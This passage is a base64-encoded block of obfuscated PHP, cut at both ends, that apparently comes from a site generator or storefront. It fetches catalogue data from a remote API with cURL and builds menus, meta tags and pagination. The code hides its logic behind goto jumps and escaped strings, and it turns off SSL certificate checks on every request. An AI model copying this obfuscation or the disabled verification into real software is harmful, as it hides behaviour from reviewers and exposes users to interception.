lKFsiXDE2M1wxNTNcMTY1IiwgIlwxNDNceDYxXHg3NCJdLCAnJywgJHRoaXMtPm1YbXpaKCRTMTg1RCwgZmFsc2UpKTsgZ290byBwMFdzcTsgc05wTmE6ICR1VWZHMSA9IGpzb25fZGVjb2RlKCRrQkxRQiwgdHJ1ZSk7IGdvdG8gTXFCejE7IHAwV3NxOiAkdGhpcy0+czVrM3ooJFMxODVELCAiXDE0M1wxNDFceDc0XDE0NVwxNDdceDZmXHg3MlwxNzFcMTM3XDE1MVwxNDQiKTsgZ290byBkSndQZTsgdTNNYm46IHJldHVybiAkdVVmRzE7IGdvdG8gakV5NFk7IE1xQnoxOiBpZiAoISgkdVVmRzEgJiYgaXNfYXJyYXkoJHVVZkcxKSkpIHsgZ290byBWaE04dDsgfSBnb3RvIHUzTWJuOyBsaHBUWTogJHFBaXN0ID0ganNvbl9kZWNvZGUoJGVPa05mWyJceDY0XHg2MVx4NzRcMTQxIl0sIHRydWUpOyBnb3RvIGxUMWhFOyBqTHIwWDogfSBwdWJsaWMgZnVuY3Rpb24gaXVEUVAoJFpWOG5XKSB7IGdvdG8gb3JmNTM7IE85bnczOiBKTTJDazogZ290byByUkFWajsgd0RhWGs6ICRTYjRzdiA9IGlzX2FycmF5KCRUU3J3MykgJiYgIWVtcHR5KCRUU3J3MykgPyAkVFNydzMgKyBbJFpWOG5XID0+ICRJc1ZhNl0gOiBbJFpWOG5XID0+ICRJc1ZhNiwgIlx4NjVcMTcwXHg3MFx4NjlceDcyXHg2NSIgPT4gdGltZSgpXTsgZ290byBUSHdhMDsgVWhEbGU6ICRlT2tOZiA9ICR0aGlzLT52T1l1eCgkdGhpcy0+SjZqMXcgLiBzZWxmOjpwYUF1TCwgYXJyYXkoIlx4NmJceDY1XHg3OSIgPT4gJFpWOG5XID8gInskdGhpcy0+TjBrX3V9XHg3Y3skWlY4bld9IiA6ICR0aGlzLT5OMGtfdSkpOyBnb3RvIHNSWkllOyByUkFWajogQlBqS1E6IGdvdG8ga1QzNVE7IEhUVFlJOiBnb3RvIEJQaktROyBnb3RvIHpHZ3R0OyBVMW8wZzogJElzVmE2ID0gJElzVmE2WyJcMTQ0XHg2MVwxNjRcMTQxIl07IGdvdG8gd0RhWGs7IEltZ3RBOiAkVFNydzMgPSBqc29uX2RlY29kZSgkVElON28sIHRydWUpOyBnb3RvIHZ0TjV1OyBSWjIwSDogJElzVmE2ID0gW107IGdvdG8gRVNrZnI7IFVCWmUyOiAkSXNWYTYgPSAkVFNydzNbJFpWOG5XXTsgZ290byBIVFRZSTsgb3JmNTM6ICRUSU43byA9ICR0aGlzLT5nZXRDYWNoZShzZWxmOjpyeFJrNSwgWyRaVjhuV10pOyBnb3RvIEltZ3RBOyBUSHdhMDogJHRoaXMtPkx3VHgzKHNlbGY6OnJ4Ums1LCBqc29uX2VuY29kZSgkU2I0c3YpLCBbJFpWOG5XXSk7IGdvdG8gTzludzM7IHQxYWVyOiBqNGNIczogZ290byBVMW8wZzsgc1JaSWU6ICRJc1ZhNiA9IGpzb25fZGVjb2RlKCRlT2tOZlsiXDE0NFwxNDFcMTY0XHg2MSJdLCB0cnVlKTsgZ290byBQMm5FazsgekdndHQ6IG5tZkhDOiBnb3RvIFVoRGxlOyBFU2tmcjogZ290byBKTTJDazsgZ290byB0MWFlcjsgdnRONXU6IGlmICghJFRTcnczWyRaVjhuV10gfHwgaXNfYXJyYXkoJFRTcnczKSB8fCBlbXB0eSgkVFNydzMpIHx8IHRpbWUoKSAtICRUU3J3M1siXHg2NVx4NzhceDcwXDE1MVwxNjJcMTQ1Il0gPiBzZWxmOjpNaTVScykgeyBnb3RvIG5tZkhDOyB9IGdvdG8gVUJaZTI7IFAybkVrOiBpZiAoJElzVmE2WyJceDY0XDE0MVwxNjRceDYxIl0pIHsgZ290byBqNGNIczsgfSBnb3RvIFJaMjBIOyBrVDM1UTogcmV0dXJuICRJc1ZhNjsgZ290byBDYkRXcDsgQ2JEV3A6IH0gcHVibGljIGZpbmFsIGZ1bmN0aW9uIFZvWXV4KCRsNkY5ZywgJFJyUFdfID0gW10sICRUbFBCMSA9IFtdLCAkYjhQd2ogPSAiXDEwN1wxMDVceDU0IikgeyBnb3RvIEpOckVmOyBaQl9UVjogWVViNzE6IGdvdG8gTEplM0o7IFhZQVJXOiBjdXJsX2Nsb3NlKCRIcnEzTCk7IGdvdG8gQmowQkw7IG9iNUNyOiBjdXJsX3NldG9wdCgkSHJxM0wsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOyBnb3RvIFpESHRkOyBKS2ZjRjogY3VybF9zZXRvcHQoJEhycTNMLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7IGdvdG8ga1RudEU7IEJqMEJMOiBpZiAoJGVPa05mID09IGZhbHNlKSB7IGdvdG8gWVViNzE7IH0gZ290byBpeENqZjsgWkRIdGQ6IGN1cmxfc2V0b3B0KCRIcnEzTCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZmFsc2UpOyBnb3RvIEpLZmNGOyBrVG50RTogY3VybF9zZXRvcHQoJEhycTNMLCBDVVJMT1BUX0NVU1RPTVJFUVVFU1QsICRiOFB3aik7IGdvdG8gRE1DZWs7IHB3MUVnOiBYNERwQzogZ290byBreV9IYzsgSmlFczk6IGN1cmxfc2V0b3B0KCRIcnEzTCwgQ1VSTE9QVF9IVFRQSEVBREVSLCBhcnJheV9tZXJnZShbIlx4NDNcMTU3XHg2ZVwxNjRceDY1XDE1Nlx4NzRceDJkXDEyNFx4NzlcMTYwXHg2NVw3Mlx4MjBceDYxXDE2MFx4NzBcMTU0XHg2OVx4NjNcMTQxXDE2NFwxNTFceDZmXHg2ZVx4MmZcMTUyXDE2M1wxNTdceDZlIl0sICRUbFBCMSkpOyBnb3RvIG9iNUNyOyBETUNlazogY3VybF9zZXRvcHQoJEhycTNMLCBDVVJMT1BUX1BPU1RGSUVMRFMsIGpzb25fZW5jb2RlKCRSclBXXykpOyBnb3RvIFhmMnpuOyBMSmUzSjogcmV0dXJuICRlT2tOZjsgZ290byBwdzFFZzsgWGYyem46ICRlT2tOZiA9IGN1cmxfZXhlYygkSHJxM0wpOyBnb3RvIHYzdTI4OyBhVVduWTogZ290byBYNERwQzsgZ290byBaQl9UVjsgdjN1Mjg6ICRHcm1HRCA9IGN1cmxfZ2V0aW5mbygkSHJxM0wsIENVUkxJTkZPX0hUVFBfQ09ERSk7IGdvdG8gWFlBUlc7IEpOckVmOiAkSHJxM0wgPSBjdXJsX2luaXQoJGw2RjlnKTsgZ290byBKaUVzOTsgaXhDamY6IHJldHVybiBbIlwxNDRceDYxXHg3NFwxNDEiID0+ICRlT2tOZiwgIlx4NjNcMTU3XHg2NFx4NjUiID0+ICRHcm1HRF07IGdvdG8gYVVXblk7IGt5X0hjOiB9IHB1YmxpYyBmdW5jdGlvbiBLY3NHaigkbDZGOWcsICRUbFBCMSA9IFtdKSB7IGdvdG8gSHZ0Qlg7IFJRV2p1OiBjdXJsX3NldG9wdCgkSHJxM0wsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsgZ290byB3dENiajsgbnF2a3g6IGN1cmxfc2V0b3B0KCRIcnEzTCwgQ1VSTE9QVF9IVFRQSEVBREVSLCAkVGxQQjEpOyBnb3RvIG5vem8yOyBIOGdYazogY3VybF9jbG9zZSgkSHJxM0wpOyBnb3RvIEJzM21aOyB5b1dEbTogY3VybF9zZXRvcHQoJEhycTNMLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsgZ290byBSWEVCVTsgSHZ0Qlg6ICRIcnEzTCA9IGN1cmxfaW5pdCgkbDZGOWcpOyBnb3RvIGNyVXVyOyBWRFNYaTogJGFMZVZyID0gY3VybF9nZXRpbmZvKCRIcnEzTCwgQ1VSTElORk9fQ09OVEVOVF9UWVBFKTsgZ290byBYd1V3cTsgWHdVd3E6IGhlYWRlcigiXHg0M1x4NmZceDZlXDE2NFwxNDVceDZlXHg3NFw1NVwxMjRcMTcxXDE2MFwxNDVcNzJ7JGFMZVZyfSIpOyBnb3RvIEg4Z1hrOyBSWEVCVTogY3VybF9zZXRvcHQoJEhycTNMLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBmYWxzZSk7IGdvdG8gUlFXanU7IG5vem8yOiBFMmVidzogZ290byB5b1dEbTsgQnMzbVo6IHJldHVybiAkZU9rTmY7IGdvdG8gRmNpdEs7IHd0Q2JqOiAkZU9rTmYgPSBjdXJsX2V4ZWMoJEhycTNMKTsgZ290byBWRFNYaTsgY3JVdXI6IGlmICghJFRsUEIxKSB7IGdvdG8gRTJlYnc7IH0gZ290byBucXZreDsgRmNpdEs6IH0gcHVibGljIGZ1bmN0aW9uIGp6MEROKCRFRTNlVCwgJE1uc3M3ID0gZmFsc2UpIHsgZ290byBycWdtUzsgQk1JbnA6IHJldHVybiBpbXBsb2RlKCcnLCAkaEIwYjcpOyBnb3RvIFpFS1hEOyBNSWNPNjogJEM5dWMyID0gZnVuY3Rpb24gKCRQUExaZCwgJFhDUjV1LCAkbDZGOWcpIHsgcmV0dXJuICJceDIwXDQwXDQwXHgyMFx4MjBceDIwXHgyMFw0MFw0MFw0MFx4MjBceDIwXHgyMFx4MjBcNDBceDIwXDc0XHg2Y1x4NjlceDIwXDE1MVx4NjRceDNkXHgyMnskWENSNXV9XHgyMlx4MjBceDYzXDE1NFx4NjFceDczXDE2M1x4M2RcNDJcMTU1XDE0NVx4NmVcMTY1XHgyZFwxNTFceDc0XHg2NVwxNTVcNDBceDZkXHg2NVwxNTZceDc1XHgyZFwxNTFceDc0XHg2NVwxNTVcNTVcMTY0XDE3MVx4NzBcMTQ1XDU1XDE2MFx4NmZceDczXHg3NFx4NWZcMTY0XDE3MVwxNjBcMTQ1XDQwXDE1NVx4NjVceDZlXHg3NVx4MmRceDY5XDE2NFx4NjVceDZkXHgyZFx4NmZcMTQyXDE1MlwxNDVceDYzXDE2NFx4MmRcMTYwXDE0MVx4NjdceDY1XHgyMFx4NmVcMTQxXDE2Mlx4NzJceDZmXDE2N1w0Mlw3NlwxNVx4YVx4MjBceDIwXHgyMFw0MFw0MFx4MjBcNDBcNDBcNDBcNDBceDIwXDQwXHgyMFw0MFx4MjBcNDBcNDBcNDBceDIwXHgyMFw3NFwxNDFceDIwXHg2OFwxNjJcMTQ1XHg2Nlx4M2RceDIyXDU3eyRsNkY5Z31cNDJcNzZ7JFBQTFpkWyJceDYzXHg2MVwxNjRcMTQ1XHg2N1x4NmZcMTYyXHg3OVx4NWZcMTU2XHg2MVx4NmRcMTQ1Il19XHgzY1w1N1x4NjFceDNlXDE1XDEyXDQwXDQwXDQwXDQwXDQwXDQwXDQwXHgyMFw0MFw0MFw0MFw0MFw0MFx4MjBceDIwXHgyMFw3NFx4MmZcMTU0XDE1MVw3NiI7IH07IGdvdG8gbkp4VEE7IGVjYTJHOiAkb0lzczkgPSBhcnJheV9zbGljZSgkRUUzZVQsIDQpOyBnb3RvIGJYWEtUOyBhOE8xcDogaWYgKCRNbnNzNykgeyBnb3RvIGtpQ2ZiOyB9IGdvdG8gd3NwUWM7IFNrQjNPOiByYWRFazogZ290byB0bkRhMDsgQWN2Nnk6IFdIMllUOiBnb3RvIEprZzZZOyBSdkVCaTogaWYgKCRNbnNzNykgeyBnb3RvIFNhZl9aOyB9IGdvdG8gUVRFcEI7IFFURXBCOiAkaEIwYjdbXSA9ICJcNDBceDIwXDQwXHgyMFx4MjBcNDBceDIwXHgyMFx4MjBceDIwXHgyMFw0MFw3NFw1N1x4NjRceDY5XHg3Nlw3NlwxNVwxMlw0MFw0MFx4MjBcNDBceDIwXHgyMFx4MjBceDIwXDc0XHgyZlx4NjRceDY5XHg3Nlx4M2UiOyBnb3RvIHhhVDMyOyB1bG1iUTogJEgyS3ROID0gYXJyYXlfc2xpY2UoJEVFM2VULCAwLCA0KTsgZ290byBlY2EyRzsgcnFnbVM6ICRoQjBiNyA9IFtdOyBnb3RvIHVsbWJROyBpOVBEVToga2lDZmI6IGdvdG8gYVpUSlI7IE9mVWVGOiAkaEIwYjdbXSA9ICJceDIwXHgyMFw0MFx4MjBcNzRceDJmXDE1NFx4NjlceDNlIjsgZ290byBCTUlucDsgbkp4VEE6IGZvcmVhY2ggKCRIMkt0TiBhcyAkUFBMWmQpIHsgZ290byBrTDBuWDsga0wwblg6ICRpUnJpbyA9ICRWR2ZLZCgkUFBMWmQpOyBnb3RvIE5WR0VROyBOVkdFUTogJGhCMGI3W10gPSAkQzl1YzIoJFBQTFpkLCAkWENSNXUsICRpUnJpbyk7IGdvdG8gZWIxcUk7IGViMXFJOiBoRjUxcDogZ290byBmZGpBQzsgZmRqQUM6IH0gZ290byBTa0IzTzsgSmtnNlk6ICRoQjBiN1tdID0gIlx4MjBceDIwXHgyMFx4MjBcNDBceDIwXHgyMFw0MFw3NFx4MmZcMTY1XHg2Y1x4M2UiOyBnb3RvIFJ2RUJpOyB0bkRhMDogJGhCMGI3W10gPSAiXHgyMFx4MjBceDIwXDQwXHgyMFx4MjBceDIwXDQwXHgyMFw0MFx4MjBceDIwXHgzY1x4NmNcMTUxXHgyMFwxNTFcMTQ0XHgzZFw0MnskWENSNXV9XDQyXDQwXDE0M1x4NmNceDYxXHg3M1wxNjNceDNkXDQyXDE1NVx4NjVcMTU2XHg3NVw1NVx4NjlcMTY0XHg2NVwxNTVcNTVceDY4XDE0MVwxNjNceDJkXDE0M1wxNTBceDY5XHg2Y1x4NjRcMTYyXDE0NVwxNTZcNDBceDZkXHg2NVwxNTZceDc1XDU1XHg2OVx4NzRcMTQ1XHg2ZFw0MFx4NmRceDY1XDE1Nlx4NzVcNTVcMTUxXDE2NFx4NjVceDZkXDU1XHg3NFx4NzlcMTYwXHg2NVw1NVx4MjBceDZkXHg2NVwxNTZcMTY1XHgyZFx4NjlceDc0XDE0NVx4NmRcNTVceDZmXHg2Mlx4NmFcMTQ1XDE0M1x4NzRcNTVcNDBcMTUwXDE0MVx4NzNceDJkXHg3M1x4NzVcMTQyXHgyMFx4NmVcMTQxXDE2Mlx4NzJcMTU3XHg3N1w0Mlw3NlwxNVx4YVx4MjBceDIwXHgyMFw0MFw0MFx4MjBcNDBceDIwXDQwXDQwXDQwXDQwXDQwXHgyMFx4MjBceDIwXHgzY1wxNDFceDNlXDEwM1x4NjFceDc0XDE0NVx4NjdceDZmXDE2Mlx4NjlcMTQ1XDE2M1x4M2NcNTdcMTQxXDc2XHgzY1wxNjNcMTYwXHg2MVwxNTZcNDBceDYzXHg2Y1wxNDFceDczXHg3M1x4M2RceDIyXHg2MVx4NzJcMTYyXHg2Zlx4NzdcNDJcNzZcNzRcNTdceDczXDE2MFx4NjFceDZlXDc2IjsgZ290byBhOE8xcDsgeGFUMzI6IFNhZl9aOiBnb3RvIE9mVWVGOyBhVG12NzogJFZHZktkID0gZnVuY3Rpb24gKCRQUExaZCkgeyByZXR1cm4gc2VsZjo6Wl81TzMgLiAiXHgyZiIgLiAkdGhpcy0+WmNlajcodWN3b3JkcyhzdHJ0b2xvd2VyKCRQUExaZFsiXDE0M1wxNDFceDc0XHg2NVx4NjdcMTU3XHg3Mlx4NzlceDVmXHg2ZVx4NjFcMTU1XDE0NSJdKSkpIC4gIlwxMzciIC4gInskUFBMWmRbIlx4NjNcMTQxXDE2NFwxNDVcMTQ3XHg2Zlx4NzJcMTcxXDEzN1x4NjlcMTQ0Il19XHgyZVwxNTBceDc0XHg2ZFwxNTQiOyB9OyBnb3RvIE1JY082OyBnMlY2SDogZm9yZWFjaCAoJG9Jc3M5IGFzICRQUExaZCkgeyBnb3RvIE5XSmdoOyB2THRhcTogJGhCMGI3W10gPSAkQzl1YzIoJFBQTFpkLCAkWENSNXUsICRpUnJpbyk7IGdvdG8gcXQwcVU7IHF0MHFVOiBqTUk0MDogZ290byBKNzlWTDsgTldKZ2g6ICRpUnJpbyA9ICRWR2ZLZCgkUFBMWmQpOyBnb3RvIHZMdGFxOyBKNzlWTDogfSBnb3RvIEFjdjZ5OyBiWFhLVDogJFhDUjV1ID0gJE1uc3M3ID8gIlx4NjFcMTQzXHg2M1wxNTdceDcyXHg2NFwxNTFceDZmXHg2ZVx4MmRcMTU1XDE0NVwxNTZceDc1XDU1XHg2OVx4NzRceDY1XDE1NSIgOiAiXHg2ZVx4NjFcMTY2XHgyZFx4NmRcMTQ1XDE1Nlx4NzVcNTVcMTUxXDE2NFwxNDVceDZkIjsgZ290byBhVG12Nzsgd3NwUWM6ICRoQjBiN1tdID0gIlw0MFx4MjBcNDBcNDBcNDBcNDBcNDBcNDBcNDBceDIwXDQwXHgyMFx4MjBcNDBcNDBcNDBcNzRcMTQ0XDE1MVwxNjZcNDBceDYzXDE1NFx4NjFcMTYzXDE2M1w3NVw0Mlx4NzBceDZmXDE2MFwxNjVceDcwXHgyMlw3Nlx4ZFwxMlw0MFx4MjBcNDBcNDBcNDBcNDBcNDBcNDBcNDBcNDBceDIwXDQwXHgyMFw0MFx4MjBceDIwXHgyMFx4MjBceDIwXDQwXDc0XHg2NFx4NjlcMTY2XHgyMFwxNDNcMTU0XDE0MVx4NzNcMTYzXHgzZFw0MlwxNTFceDZlXDE1Nlx4NjVcMTYyXHgyMlx4M2UiOyBnb3RvIGk5UERVOyBhWlRKUjogJGhCMGI3W10gPSAiXHgyMFx4MjBceDIwXHgyMFw0MFw0MFw0MFx4MjBceDIwXDQwXHgyMFw0MFw3NFwxNjVceDZjXDQwXHg2M1wxNTRcMTQxXHg3M1x4NzNcNzVcNDJcMTYzXHg3NVwxNDJceDJkXDE1NVx4NjVceDZlXDE2NVx4MjJceDIwXDE2M1x4NzRceDc5XHg2Y1wxNDVcNzVcNDdceDY4XDE0NVx4NjlcMTQ3XHg2OFwxNjRceDNhXDY1XDYwXDYwXHg3MFx4NzhceDNiXHg2Zlx4NzZcMTQ1XDE2MlwxNDZcMTU0XHg2ZlwxNjdcNTVceDc5XDcyXHg2MVwxNjVcMTY0XHg2Zlw0N1x4M2UiOyBnb3RvIGcyVjZIOyBaRUtYRDogfSBwdWJsaWMgZnVuY3Rpb24gc3ZfdlgoJFpWOG5XLCAkUDdpVmggPSAnJywgJEtaa2tNID0gW10sICRRNGgzSiA9IFtdKSB7IGdvdG8gYnVGR2Q7IGk4czhVOiAkRlljX0kgPSAkdGhpcy0+SXVEcXAoJFpWOG5XKTsgZ290byBrMnQ3MjsgcTF2elY6ICRHMDR1OSA9ICJceDIwXHgyMFw0MFw0MFx4MjBceDIwXDQwXDQwXDQwXDQwXDQwXDQwXHgzY1wxNjRceDY5XDE2NFwxNTRcMTQ1XDc2eyRhM0hlYX1cNzRceDJmXHg3NFx4NjlcMTY0XDE1NFwxNDVcNzYiOyBnb3RvIFd1Z0hIOyBhY3M4eDogYjA5dmM6IGdvdG8gaThzOFU7IGM2MV9LOiBjZlVQQTogZ290byBhY3M4eDsgV3VnSEg6IHJldHVybiBbIlwxNTNceDY1XHg3OVwxNjdcMTU3XDE2Mlx4NjRcMTYzXDEzN1wxNTBcMTY0XDE1NVwxNTQiID0+ICRUNThxciwgIlx4NzRcMTUxXHg3NFx4NmNceDY1XHg1ZlwxNTBcMTY0XHg2ZFwxNTQiID0+ICRHMDR1OSwgIlwxNDRceDY1XDE2M1x4NjNceDcyXDE1MVwxNjBceDc0XHg2OVx4NmZcMTU2XDEzN1x4NjhceDc0XHg2ZFwxNTQiID0+ICRsbkU0aV07IGdvdG8gSDJLNUM7IE0yQldvOiAkbG5FNGkgPSAiXDQwXDQwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBcNDBcNDBcNzRcMTU1XDE0NVx4NzRcMTQxXHgyMFx4NmVceDYxXHg2ZFx4NjVceDNkXDQyXDE0NFx4NjVcMTYzXHg2M1x4NzJceDY5XDE2MFwxNjRcMTUxXHg2ZlwxNTZceDIyXHgyMFx4NjNceDZmXHg2ZVwxNjRceDY1XHg2ZVx4NzRceDNkXDQyeyRkdmwzcn1cNDJcNzYiOyBnb3RvIHExdnpWOyBrMnQ3MjogJFQ1OHFyID0gIlx4MjBceDIwXDQwXDQwXDQwXDQwXDQwXDQwXHgyMFw0MFw0MFw0MFx4M2NcMTU1XDE0NVx4NzRceDYxXHgyMFx4NmVcMTQxXHg2ZFx4NjVceDNkXHgyMlwxNTNceDY1XDE3MVwxNjdceDZmXDE2Mlx4NjRceDczXHgyMlx4MjBcMTQzXHg2Zlx4NmVceDc0XDE0NVx4NmVceDc0XDc1XHgyMnskRlljX0l9XDQyXHgzZSI7IGdvdG8gTTJCV287IGJ1RkdkOiBzd2l0Y2ggKCRQN2lWaCkgeyBjYXNlIHNlbGY6OlpfNU8zOiBnb3RvIEZJa1QwOyBGSWtUMDogJGEzSGVhID0gIlx4NTBceDcyXDE1N1wxNDRcMTY1XDE0M1wxNjRceDczXDQwXDU1XHgyMHskS1pra01bMV1bIlwxNjRcMTUxXDE2NFx4NmNceDY1Il19IjsgZ290byBubVAxVDsgTkFMeDQ6IGdvdG8gYjA5dmM7IGdvdG8gRW1CY1Y7IG5tUDFUOiAkZHZsM3IgPSAkS1pra01bMV1bIlx4NjNceDc1XHg3Mlx4NzJceDY1XHg2ZVwxNDNceDc5XDEzN1wxNjNcMTcxXDE1NVwxNDJcMTU3XHg2YyJdIC4gIlx4MjB7JEtaa2tNWzFdWyJceDY0XDE1MVwxNjNceDcwXDE1NFx4NjFcMTcxXDEzN1x4NzBcMTYyXHg2OVx4NjNceDY1Il19XDU0eyRLWmtrTVsxXVsiXDE2NFx4NjlceDc0XHg2Y1wxNDUiXX1cNTR7JEtaa2tNWzJdWyJcMTY0XDE1MVx4NzRcMTU0XDE0NSJdfSI7IGdvdG8gTkFMeDQ7IEVtQmNWOiBjYXNlIHNlbGY6OldkZW9ZOiBnb3RvIHRQQlUxOyBoU1NWNTogJHJvcmZXID0gJHRoaXMtPmM4MW1KKCRRNGgzSlsiXDE0M1wxNjVceDcyXDE2MlwxNDVceDZlXHg2M1x4NzlcMTM3XHg2OVwxNDQiXSkgLiAiXHgyMCIgLiAkcmYxbXlbIlwxNDRcMTUxXHg3M1x4NzBcMTU0XDE0MVx4NzlceDVmXHg3MFwxNjJcMTUxXHg2M1wxNDUiXTsgZ290byBjMU9mYjsgYzFPZmI6ICRhM0hlYSA9ICRRNGgzSlsiXHg3NFwxNTFcMTY0XHg2Y1x4NjUiXTsgZ290byBFbDAzYTsgaGg1Vm86IGdvdG8gYjA5dmM7IGdvdG8gcmFRZEE7IEVsMDNhOiAkZHZsM3IgPSAieyRyb3JmV31cNTQiIC4gc3Vic3RyKGh0bWxzcGVjaWFsY2hhcnMocHJlZ19yZXBsYWNlKCJceDJmXHgzY1x4NWNceDJmXHgzZlwxMzNceDVlXHgzZVx4NWRcNTNcNzZceDJmIiwgJycsIGh0bWxzcGVjaWFsY2hhcnNfZGVjb2RlKCRRNGgzSlsiXDE0NFwxNDVceDczXDE0M1x4NzJceDY5XHg3MFwxNjRcMTUxXHg2Zlx4NmUiXSkpKSwgMCwgMjAwKTsgZ290byBoaDVWbzsgdFBCVTE6ICRyZjFteSA9ICR0aGlzLT53emtSQSgkUTRoM0pbIlwxNDNceDc1XHg3Mlx4NzJceDY1XHg2ZVx4NzRcMTM3XHg3MFwxNjJceDY5XDE0M1x4NjUiXSk7IGdvdG8gaFNTVjU7IHJhUWRBOiBkZWZhdWx0OiAkYTNIZWEgPSAkdGhpcy0+TjBrX3UgLiAiXDQwXDU1XDQwIiAuIHNlbGY6OlpNaXc0OyAkZHZsM3IgPSAnJzsgfSBnb3RvIGM2MV9LOyBIMks1QzogfSBwdWJsaWMgZnVuY3Rpb24gQWo1RW8oJEtaa2tNLCAkREkxTFogPSAnJywgJEpoMVVRID0gJycpIHsgZ290byBiNG4zVTsgYjRuM1U6ICRNUjY1cCA9ICcnOyBnb3RvIHB3c3hPOyBwd3N4TzogJFpHQUJ4ID0gJyc7IGdvdG8gU1BrOGs7IHpIWXdNOiAkdWloYU4gPSAiXDQwXHgyMFw0MFx4MjBceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFx4MjBcNDBceDIwXHgyMFw3NFx4NjFceDIwXHg2OVx4NzRceDY1XDE1NVwxNjBceDcyXHg2ZlwxNjBcNzVcNDJcMTUxXDE2NFx4NjVcMTU1XDQyXHgyMFwxNTBcMTYyXDE0NVx4NjZcNzVcNDJ7JHR4bXMwfVw0Mlx4MjBcMTY0XDE1MVwxNjRcMTU0XHg2NVw3NVw0Mlx4NDdcMTU3XHgyMFwxNjRceDZmXDQwXDExMFx4NmZcMTU1XHg2NVx4MjBceDUwXDE0MVx4NjdcMTQ1XDQyXDc2XDc0XDE2M1x4NzBcMTQxXDE1Nlw0MFx4NjlceDc0XHg2NVwxNTVcMTYwXDE2MlwxNTdceDcwXDc1XDQyXDE1NlwxNDFcMTU1XHg2NVw0Mlw3NlwxMTBcMTU3XDE1NVwxNDVceDNjXDU3XDE2M1x4NzBceDYxXDE1Nlw3Nlx4M2NceDJmXDE0MVx4M2UiOyBnb3RvIE5yWmZlOyBTUGs4azogZm9yZWFjaCAoJEtaa2tNIGFzICRaVjhuVyA9PiAkR1BXYjIpIHsgZ290byBBVGFYbjsgZnpqZGU6IHVuc2V0KCRHUFdiMlsiXDE1M1x4NjVceDc5Il0pOyBnb3RvIE5ZbDBlOyBUZXpyZTogJE5DNkJxID0gJFBQTFpkWzBdOyBnb3RvIFVxdWFGOyBVSVhDRjogU1NQZ3c6IGdvdG8gTGJia1Y7IEFUYVhuOiBpZiAoaXNfaW50KCRaVjhuVykpIHsgZ290byBHSWxzWDsgfSBnb3RvIEdfTTI0OyBHX00yNDogJFBQTFpkID0gZXhwbG9kZSgiXHg1ZiIsICRaVjhuVyk7IGdvdG8gVGV6cmU7IFVxdWFGOiAkaVJyaW8gPSBzZWxmOjpaXzVPMyAuICJceDJmIiAuICR0aGlzLT56Y2VKNyh1Y3dvcmRzKHN0cnRvbG93ZXIoJE5DNkJxKSkpIC4gIlx4NWZ7JFBQTFpkWzFdfVw1NlwxNTBceDc0XDE1NVx4NmMiOyBnb3RvIGtSRURZOyBvUFhnYzogJE1SNjVwIC49ICJceDIwXHgyMFx4MjBceDIwXHgyMFw0MFw0MFw0MFx4MjBcNDBceDIwXHgyMFx4MjBcNDBceDIwXHgyMFw0MFx4MjBceDIwXDQwXDQwXDc0XDU3XHg3NVx4NmNceDNlXHhkXDEyXHgyMFx4MjBcNDBcNDBcNDBcNDBceDIwXDQwXHgyMFw0MFx4MjBceDIwXDQwXHgyMFx4MjBcNDBcNDBcNDBceDIwXHgyMFw3NFx4MmZceDY0XHg2OVx4NzZceDNlIjsgZ290byBOb2tIeTsgTllsMGU6IGZvcmVhY2ggKCRHUFdiMiBhcyAkUTRoM0opIHsgZ290byBtaDd0SjsgYlZSREU6ICRaR0FCeCA9ICJcNDBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBcNDBceDIwXHgyMFx4MjBcNDBcNDBcNDBcNDBceDIwXDQwXDQwXDQwXDQweyRMYUZRRn1ceGRcMTJceDIwXHgyMFw0MFx4MjBceDIwXDQwXDQwXHgyMFw0MFx4MjBceDIwXDQwXHgyMFw0MFw0MFx4MjBceDIwXDQwXDQwXDQwXHgzY1x4NmNceDY5XHgzZVw3NFwxNjNcMTYwXHg2MVx4NmVceDIwXHg2MVx4NzJcMTUxXHg2MVw1NVx4NjNcMTY1XHg3Mlx4NzJceDY1XDE1NlwxNjRcNzVcNDJcMTYwXDE0MVwxNDdcMTQ1XHgyMlx4MjBceDYzXHg2Y1wxNDFcMTYzXDE2M1w3NVx4MjJceDcwXHg2MVwxNDdcMTQ1XDU1XDE1NlwxNjVceDZkXDE0MlwxNDVceDcyXDE2M1w0MFx4NjNcMTY1XDE2Mlx4NzJceDY1XHg2ZVx4NzRcNDJceDNleyRESTFMWn1cNzRceDJmXHg3M1wxNjBcMTQxXDE1Nlw3Nlx4M2NceDJmXDE1NFx4NjlcNzZceGRceGFcNDBcNDBcNDBcNDBcNDBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXDQwXDQwXHgyMFx4MjBceDIwXDQwXHgyMFw0MFx4M2NcMTU0XDE1MVw3Nlw3NFx4NzNceDcwXHg2MVx4NmVceDIwXHg2M1x4NmNceDYxXHg3M1wxNjNceDNkXHgyMlwxNjBcMTQxXDE0N1x4NjVceDJkXHg2ZVwxNjVcMTU1XHg2Mlx4NjVcMTYyXHg3M1x4MjBcMTQ0XHg2ZlwxNjRcMTYzXHgyMlx4M2VcNDZceDY4XDE0NVwxNTRceDZjXHg2OVx4NzBceDNiXHgzY1x4MmZcMTYzXDE2MFwxNDFceDZlXHgzZVw3NFw1N1wxNTRcMTUxXDc2XHhkXDEyXHgyMFw0MFx4MjBcNDBceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXDQwXHgyMFw0MFx4MjBcNDBcNDBcNDBceDIwXDQwXDc0XHg2Y1x4NjlcNzZceDNjXHg2MVx4MjBceDYzXDE1NFwxNDFcMTYzXDE2M1x4M2RceDIyXHg2ZVwxNDVceDc4XDE2NFx4MjBcMTYwXDE0MVx4NjdcMTQ1XHgyZFx4NmVceDc1XDE1NVwxNDJcMTQ1XHg3MlwxNjNceDIyXDQwXHg2MVx4NzJceDY5XHg2MVx4MmRcMTU0XDE0MVwxNDJceDY1XHg2Y1x4M2RceDIyXHg2ZVx4NjVcMTcwXHg3NFx4MjBcMTYwXDE0MVwxNDdcMTQ1XDQwXDE1Nlx4NzVcMTU1XHg2MlwxNDVcMTYyXHgyMlx4MjBceDcyXDE0NVx4NmNcN